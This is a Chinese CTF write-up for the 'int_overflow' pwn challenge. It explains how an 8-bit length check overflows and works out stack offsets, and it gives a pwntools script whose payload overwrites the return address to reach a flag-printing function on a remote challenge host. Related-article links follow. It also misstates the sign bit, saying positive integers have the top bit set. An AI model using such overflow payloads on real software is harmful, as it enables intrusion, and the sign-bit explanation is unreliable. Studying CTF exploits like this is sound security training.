题目分析

checksec检查文件保护机制

ida分析程序







经典整数溢出漏洞示例

整数溢出原理整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0,
无符号数取值范围为非负数,常见各类型占用字节数如下:
类型 占用字节数 取值范围
Int 4 -2147483648~2147483647
Short int 2 -32768~32767
Long int 4 -2147483648~2147483647
Unsigned int 4 0~4294967295
Unsigned short int 2 0~65535
Unsigned short int 4 0~4294967295
对于unsigned short int类型的两个变量var1、var2假定取值var1 = 1,var2 = 65537

也就是说,对于一个2字节的Unsigned short int型变量,它的有效数据长度为两个字节,当它的数据长度超过两个字节时,
就溢出,溢出的部分则直接忽略,使用相关变量时,使用的数据仅为最后2个字节,
因此就会出现65537等于1的情况,其他类型变量和数值与之类似

信息收集

char dest; // [sp+4h] [bp-14h]@3
unsigned __int8 v3; // [sp+Fh] [bp-9h]@1

0x14+4为偏移量,4个大小是需要覆盖的ebp的地址
0x804868b为cat flag地址

"A"*(256-0x18-4)+"a"*4是为了让v3溢出

编写脚本

from pwn import *

p = remote('111.198.29.45',41419)
#p = process("./pwn005") payload = "A"*0x14+"B"*4+p32(0x804868b)+"A"*(256-0x18-4)+"a"*4 p.sendlineafter("Your choice:","1")
p.sendlineafter("Please input your username:","root")
p.sendlineafter("Please input your passwd:",payload) p.interactive()

本地测试

靶机测试

原理(来自大佬的wp)

进入login函数:接受了一个最大长度为0x199的password
进入check_passwd函数:用一个一字节,8bit的变量存储password的长度,
之后存在一个字符串拷贝,拷贝目的地在栈中,长度为14h,及0x14,十进制20,
结合前面溢出原理分析,0x199(十进制409)的长度远大于1字节,
也就是说,这里存在证书溢出,password字符串的长度可以是3- 8个字符,也可以是259-264个字符
可以在字符串拷贝过程中,输入0x14个字符之后,就可以覆盖函数返回地址了,具体是不是0x14个字符,
在字符串拷贝之前,先把拷贝的源地址和目的地址压入堆栈,这里似乎没有任何问题,
查看整个函数的汇编代码,就会发现,在函数最开始,压入了ebp变量,在函数结尾,存在一条leave指令,
而在32位程序中,leave指令等于mov esp,ebp和pop ebp两条指令的组合,
也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小4字节,
即覆盖之前还需将这4字节覆盖了,才能实现跳转指向what_is_this函数,
编写利用脚本如下:259-264之间随机选择一个数,
这里取262,264-0x14-4- 4=234

攻防世界—pwn—int_overflow的更多相关文章

  1. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  2. 攻防世界PWN简单题 level0

    攻防世界PWN简单题 level0 开始考验栈溢出的相关知识了 Checksec 一下文件 看看都开了什么保护 和 是多少位的程序 发现是64位的程序, 扔进IDA64.IDA YYDS.. 进入主函 ...

  3. 攻防世界PWN简单题 level2

    攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...

  4. 攻防世界pwn高手区——pwn1

    攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...

  5. 攻防世界pwn之新手区

    涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...

  6. 攻防世界—pwn—cgpwn2

    题目分析 题目提示 checksec检查文件保护机制 使用ida查看伪代码 hello函数存在溢出,与level2类似 信息收集 system地址 name的地址 编写脚本 from pwn impo ...

  7. 攻防世界—pwn—level2

    题目分析 题目提示 下载文件后首先使用checksec检查文件保护机制 使用ida打开,查看伪代码 搜索字符串发现/bash/sh 信息收集 偏移量 system的地址 /bin/sh的地址 编写脚本 ...

  8. 攻防世界—pwn—hello_pwn

    题目分析 下载文件后首先使用checksec检查文件保护机制 使用ida查看伪代码 思路明确,让dword_60106C == 1853186401即可输出flag 信息收集 偏移量 sub_4006 ...

  9. 攻防世界—pwn—level0

    题目分析 下载文件后首先使用checksec检查文件保护机制 文件名太长了,就更改了一下 发现是一个64位程序,使用ida查看伪代码 注意到一个特殊的函数名callsystem 确定思路,直接栈溢出 ...

随机推荐

  1. 如何用Python 制作词云-对1000首古诗做词云分析

    公号:码农充电站pro 主页:https://codeshellme.github.io 今天来介绍一下如何使用 Python 制作词云. 词云又叫文字云,它可以统计文本中频率较高的词,并将这些词可视 ...

  2. MySQL锁(一)全局锁:如何做全库的逻辑备份?

    数据库锁设计的初衷是处理并发问题,这也是数据库与文件系统的最大区别. 根据加锁的范围,MySQL里大致可以分为三种锁:全局锁.表锁和行锁.接下来我们会分三讲来介绍这三种锁,今天要讲的是全局锁. 全局锁 ...

  3. 自顶向下redis4.0(1)启动

    redis4.0的启动流程 目录 redis4.0的启动流程 简介 正文 全局server对象 初始化配置 初始化服务器 事件主循环 参考文献 简介 redis 在接收客户端连接之前,大概做了以下几件 ...

  4. 高手查看Linux系统用户命令-测评

    一.Linux查看用户命令-测评 查看linux所有的用户 cat /etc/passwd 查看普通用户.系统用户(1-499) root:x:0:0:root:/root:/bin/bash < ...

  5. JVM的艺术—JAVA内存模型

    *喜欢文章,动动手指点个赞 * 引言 亲爱读者你们好,关于jvm篇章的连载,前面三章讲了类加载器,本篇文章将进入jvm领域的另一个知识点,java内存模型.彻底的了解java内存模型,是有必要的.只要 ...

  6. 网站配置Gittalk教程和解决gittalk的Error: Not Found.问题

    想把网站增加gittalk的评论功能,按照其他教程配置后,出现了 Error: Not Found. 的错误.截图如下: 网上找了很多解决方案,现在贴出来完整的配置Gittalk的教程. 01.新建评 ...

  7. js上 六、运算符-2

    6.1.关系运算符 用来进行比较的.比较的结果通常是布尔值真和假. ü ==:相等,只比较值是否相等 ü ===:全等,比较值的同时比较数据类型是否相等 ü !=:不相等,比较值是否不相等 ü !== ...

  8. 第十章 Seata--分布式事务

    承接上篇 ,终于我们迎来了最后一章 第九章 Nacos Config–服务配置,第十章 Seata–分布式事务,感谢你能学习到这 !废话不多说,撸码 10.1 分布式事务基础 10.1.1 事务 事务 ...

  9. 我用 go-zero 一周实现了一个中台系统,已开源!

    作者:Jack 最近发现golang社区里出了一个新星的微服务框架,来自好未来,光看这个名字,就很有奔头,之前,也只是玩过go-micro,其实真正的还没有在项目中运用过,只是觉得 微服务,grpc ...

  10. Spring中BeanFactory与FactoryBean到底有什么区别?

    一.BeanFactory BeanFactory是一个接口,它是Spring中工厂的顶层规范,是SpringIoc容器的核心接口,它定义了getBean().containsBean()等管理Bea ...